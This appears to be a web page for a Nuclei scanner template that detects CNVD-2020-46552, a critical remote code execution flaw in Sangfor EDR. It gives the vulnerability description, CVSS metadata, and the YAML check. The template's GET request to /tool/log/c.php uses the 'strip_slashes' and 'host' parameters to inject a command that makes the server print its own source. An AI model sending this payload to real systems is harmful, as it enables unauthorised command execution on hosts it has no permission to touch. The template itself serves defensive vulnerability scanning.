Sangfor EDR - Remote Code Execution

ID: CNVD-2020-46552

Severity: critical

Author: ritikchaddha

Tags: cnvd,cnvd2020,sangfor,rce

Description

Sangfor Endpoint Monitoring and Response Platform (EDR) contains a remote code execution vulnerability. An attacker could exploit this vulnerability by constructing an HTTP request which could execute arbitrary commands on the target host.

YAML Source

id: CNVD-2020-46552

info:
  name: Sangfor EDR - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: Sangfor Endpoint Monitoring and Response Platform (EDR) contains a remote code execution vulnerability. An attacker could exploit this vulnerability by constructing an HTTP request which could execute arbitrary commands on the target host.
  reference:
    - https://www.modb.pro/db/144475
    - https://blog.csdn.net/bigblue00/article/details/108434009
    - https://cn-sec.com/archives/721509.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: cnvd,cnvd2020,sangfor,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/tool/log/c.php?strip_slashes=printf&host=nl+c.php"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "$show_input = function($info)")'
          - 'contains(body, "$strip_slashes($host)")'
          - 'contains(body, "Log Helper")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a004730450221008d342b3efd644c739106ff8afa4211ba667bbb4f5607dc3bb25a708b0d0d294502207d22b7a0020610ddfd2e067d58afecaa66eaa6a61f06611f1ca6a14e60f2681e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cnvd/2020/CNVD-2020-46552.yaml"

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